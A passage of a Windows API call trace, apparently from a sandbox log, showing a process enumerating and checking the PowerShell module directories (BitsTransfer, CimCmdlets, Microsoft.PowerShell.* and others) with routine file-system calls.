lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISE", cAlternateFileName="")) returned 1 [0116.559] FindNextFileW (in: hFindFile=0x3788c0, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive", cAlternateFileName="MICROS~1.ARC")) returned 1 [0116.559] FindNextFileW (in: hFindFile=0x3788c0, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 [0116.559] FindNextFileW (in: hFindFile=0x3788c0, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Host", cAlternateFileName="MICROS~1.HOS")) returned 1 [0116.559] FindNextFileW (in: hFindFile=0x3788c0, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management", cAlternateFileName="MICROS~1.MAN")) returned 1 [0116.559] FindNextFileW (in: hFindFile=0x3788c0, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtils", cAlternateFileName="MICROS~1.ODA")) returned 1 [0116.559] FindNextFileW (in: hFindFile=0x3788c0, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security", cAlternateFileName="MICROS~1.SEC")) returned 1 [0116.559] FindNextFileW (in: hFindFile=0x3788c0, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility", cAlternateFileName="MICROS~1.UTI")) returned 1 [0116.559] FindNextFileW (in: hFindFile=0x3788c0, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management", cAlternateFileName="MICROS~2.MAN")) returned 1 [0116.559] FindNextFileW (in: hFindFile=0x3788c0, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDesiredStateConfiguration", cAlternateFileName="PSDESI~1")) returned 1 [0116.559] FindNextFileW (in: hFindFile=0x3788c0, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDiagnostics", cAlternateFileName="PSDIAG~1")) returned 1 [0116.559] FindNextFileW (in: hFindFile=0x3788c0, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSScheduledJob", cAlternateFileName="PSSCHE~1")) returned 1 [0116.559] FindNextFileW (in: hFindFile=0x3788c0, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TroubleshootingPack", cAlternateFileName="TROUBL~1")) returned 1 [0116.559] FindNextFileW (in: hFindFile=0x3788c0, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0116.560] FindClose (in: hFindFile=0x3788c0 | out: hFindFile=0x3788c0) returned 1 [0116.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ecbc) returned 1 [0116.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ef1c) returned 1 [0116.560] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psd1")) returned 0xffffffff [0116.560] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psm1")) returned 0xffffffff [0116.560] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.cdxml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.cdxml")) returned 0xffffffff [0116.560] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.xaml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.xaml")) returned 0xffffffff [0116.560] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.ni.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.ni.dll")) returned 0xffffffff [0116.560] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.dll")) returned 0xffffffff [0116.561] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0116.561] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x40, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0116.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ec9c) returned 1 [0116.561] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer"), fInfoLevelId=0x0, lpFileInformation=0x572ef60 | out: lpFileInformation=0x572ef60*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0116.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec98) returned 1 [0116.561] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0116.561] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x3e, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", lpFilePart=0x0) returned 0x3d [0116.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ec9c) returned 1 [0116.561] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\cimcmdlets"), fInfoLevelId=0x0, lpFileInformation=0x572ef60 | out: lpFileInformation=0x572ef60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec98) returned 1 [0116.561] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0116.562] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x37, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", lpFilePart=0x0) returned 0x36 [0116.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ec9c) returned 1 [0116.562] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\ise"), fInfoLevelId=0x0, lpFileInformation=0x572ef60 | out: lpFileInformation=0x572ef60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec98) returned 1 [0116.562] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0116.562] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x50, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", lpFilePart=0x0) returned 0x4f [0116.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ec9c) returned 1 [0116.562] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive"), fInfoLevelId=0x0, lpFileInformation=0x572ef60 | out: lpFileInformation=0x572ef60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec98) returned 1 [0116.563] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0116.563] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x54, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", lpFilePart=0x0) returned 0x53 [0116.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ec9c) returned 1 [0116.563] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics"), fInfoLevelId=0x0, lpFileInformation=0x572ef60 | out: lpFileInformation=0x572ef60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec98) returned 1 [0116.564] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0116.564] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x4d, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", lpFilePart=0x0) returned 0x4c [0116.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ec9c) returned 1 [0116.564] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host"), fInfoLevelId=0x0, lpFileInformation=0x572ef60 | out: lpFileInformation=0x572ef60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec98) returned 1 [0116.564] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0116.564] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0116.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ec9c) returned 1 [0116.564] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management"), fInfoLevelId=0x0, lpFileInformation=0x572ef60 | out: lpFileInformation=0x572ef60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec98) returned 1 [0116.564] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0116.564] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x53, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", lpFilePart=0x0) returned 0x52 [0116.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ec9c) returned 1 [0116.565] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils"), fInfoLevelId=0x0, lpFileInformation=0x572ef60 | out: lpFileInformation=0x572ef60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec98) returned 1 [0116.565] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0116.565] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x51, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x50 [0116.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ec9c) returned 1 [0116.565] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security"), fInfoLevelId=0x0, lpFileInformation=0x572ef60 | out: lpFileInformation=0x572ef60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec98) returned 1 [0116.566] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0116.566] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0116.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ec9c) returned 1 [0116.566] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility"), fInfoLevelId=0x0, lpFileInformation=0x572ef60 | out: lpFileInformation=0x572ef60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec98) returned 1 [0116.566] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0116.566] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x4e, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", lpFilePart=0x0) returned 0x4d [0116.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ec9c) returned 1 [0116.567] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management"), fInfoLevelId=0x0, lpFileInformation=0x572ef60 | out: lpFileInformation=0x572ef60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec98) returned 1 [0116.567] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0116.567] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x4f, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", lpFilePart=0x0) returned 0x4e [0116.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ec9c) returned 1 [0116.567] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration"), fInfoLevelId=0x0, lpFileInformation=0x572ef60 | out: lpFileInformation=0x572ef60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec98) returned 1 [0116.568] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 